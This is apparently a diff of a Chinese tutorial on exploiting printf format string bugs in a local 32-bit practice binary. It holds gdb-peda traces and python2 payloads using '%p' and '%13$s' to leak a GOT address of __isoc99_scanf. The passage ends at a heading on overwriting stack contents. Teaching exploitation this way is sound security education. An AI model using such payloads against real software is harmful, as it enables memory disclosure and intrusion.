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firmianay
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@ -104,7 +104,7 @@ Dump of assembler code for function main:
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End of assembler dump.
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```
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```text
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gdb-peda$ s
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gdb-peda$ n
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[----------------------------------registers-----------------------------------]
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EAX: 0x56557000 --> 0x1efc
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EBX: 0x56557000 --> 0x1efc
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@ -160,7 +160,7 @@ void main() {
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```
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反汇编后的代码同上，没有任何区别。我们主要看一下参数传递：
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```text
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gdb-peda$
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gdb-peda$ n
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[----------------------------------registers-----------------------------------]
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EAX: 0x56557000 --> 0x1efc
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EBX: 0x56557000 --> 0x1efc
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@ -219,7 +219,7 @@ void main() {
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}
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```
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```text
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gdb-peda$
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gdb-peda$ n
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[----------------------------------registers-----------------------------------]
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EAX: 0xffffd1fa ("Hello %x %x %x !\n")
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EBX: 0x56557000 --> 0x1ef8
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@ -584,7 +584,6 @@ Reading symbols from a.out...(no debugging symbols found)...done.
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gdb-peda$ b printf
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Breakpoint 1 at 0x8048350
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gdb-peda$ r < text
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Starting program: /home/firmy/Desktop/RE4B/a.out < text
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[----------------------------------registers-----------------------------------]
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EAX: 0xffffd584 --> 0xffffd57a ("ABCD")
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EBX: 0x804a000 --> 0x8049f14 --> 0x1
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@ -649,9 +648,79 @@ Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries:
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0804a014 00000407 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0
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0804a018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
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```
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`.rel.plt` 中有四个函数可供我们选择，但是这里就有一些技巧了。
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`.rel.plt` 中有四个函数可供我们选择，按理说选择任意一个都没有问题，但是在实践中我们会发现一些问题。下面的结果分别是 `printf`、`__libc_start_main`、`putchar` 和 `__isoc99_scanf`：
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```
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$ python2 -c 'print("\x0c\xa0\x04\x08"+".%p"*20)' | ./a.out
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.0x1.0x88888888.0xffffffff.0xffe22cfa.0xffe22d04.0x80481fc.0x80484b0.0xf77afa54.0x1.0x424155d0.0x4443.(nil).0x2e0804a0.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
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$ python2 -c 'print("\x10\xa0\x04\x08"+".%p"*20)' | ./a.out
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.0x1.0x88888888.0xffffffff.0xffd439ba.0xffd439c4.0x80481fc.0x80484b0.0xf77b6a54.0x1.0x4241c5d0.0x4443.(nil).0x804a010.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
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$ python2 -c 'print("\x14\xa0\x04\x08"+".%p"*20)' | ./a.out
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.0x1.0x88888888.0xffffffff.0xffcc17aa.0xffcc17b4.0x80481fc.0x80484b0.0xf7746a54.0x1.0x4241c5d0.0x4443.(nil).0x804a014.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
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$ python2 -c 'print("\x18\xa0\x04\x08"+".%p"*20)' | ./a.out
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▒.0x1.0x88888888.0xffffffff.0xffcb99aa.0xffcb99b4.0x80481fc.0x80484b0.0xf775ca54.0x1.0x424125d0.0x4443.(nil).0x804a018.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
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```
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细心一点你就会发现第一个（`printf`）的结果有问题。我们输入了 `\x0c\xa0\x04\x08`（`0x0804a00c`），可是 13 号位置输出的结果却是 `0x2e0804a0`，那么，`\x0c` 哪去了，查了一下 ASCII 表：
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```
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Oct Dec Hex Char
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──────────────────────────────────────
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014 12 0C FF '\f' (form feed)
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```
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于是就被省略了，同样会被省略的还有很多，如 `\x07`（'\a'）、`\x08`（'\b'）、`\x20`（SPACE）等的不可见字符都会被省略。这就会让我们后续的操作出现问题。所以这里我们选用最后一个（`__isoc99_scanf`）。
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```
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gdb-peda$ q
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[firmy@firmy-pc RE4B]$ python2 -c 'print("\x18\xa0\x04\x08"+"%13$s")' > text
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[firmy@firmy-pc RE4B]$ gdb -q a.out
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Reading symbols from a.out...(no debugging symbols found)...done.
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gdb-peda$ b printf
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Breakpoint 1 at 0x8048350
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gdb-peda$ r < text
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[----------------------------------registers-----------------------------------]
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EAX: 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp)
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EBX: 0x804a000 --> 0x8049f14 --> 0x1
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ECX: 0x1
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EDX: 0xf7f9883c --> 0x0
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ESI: 0xf7f96e68 --> 0x1bad90
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EDI: 0x0
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EBP: 0xffffd618 --> 0x0
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ESP: 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
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EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
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EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
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[-------------------------------------code-------------------------------------]
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0xf7e27c1b <fprintf+27>: ret
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0xf7e27c1c: xchg ax,ax
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0xf7e27c1e: xchg ax,ax
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=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
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0xf7e27c25 <printf+5>: add eax,0x16f243
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0xf7e27c2a <printf+10>: sub esp,0xc
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0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
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0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
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No argument
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[------------------------------------stack-------------------------------------]
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0000| 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
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0004| 0xffffd550 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp)
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0008| 0xffffd554 --> 0x1
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0012| 0xffffd558 --> 0x88888888
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0016| 0xffffd55c --> 0xffffffff
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0020| 0xffffd560 --> 0xffffd57a ("ABCD")
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0024| 0xffffd564 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp)
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0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8')
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[------------------------------------------------------------------------------]
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Legend: code, data, rodata, value
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啊，要到12点了，先push了，打卡要紧，打卡要紧。
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Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
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gdb-peda$ x/20w $esp
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0xffffd54c: 0x08048520 0xffffd584 0x00000001 0x88888888
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0xffffd55c: 0xffffffff 0xffffd57a 0xffffd584 0x080481fc
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0xffffd56c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
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0xffffd57c: 0x00004443 0x00000000 0x0804a018 0x24333125
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0xffffd58c: 0x00f00073 0xffffd5ca 0x00000001 0x000000c2
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gdb-peda$ x/w 0x804a018
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0x804a018: 0xf7e3a790
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gdb-peda$ c
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Continuing.
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▒<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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```
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虽然我们可以通过 `x/w` 指令得到 `__isoc99_scanf` 函数的虚拟地址 `0xf7e3a790`。但是由于 `0x804a018` 处的内容是仍然一个指针，使用 `%13$s` 打印并不成功。在下面的内容中将会介绍怎样借助 pwntools 的力量，来获得正确格式的虚拟地址，并能够对它有进一步的利用。
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#### 覆盖栈内容
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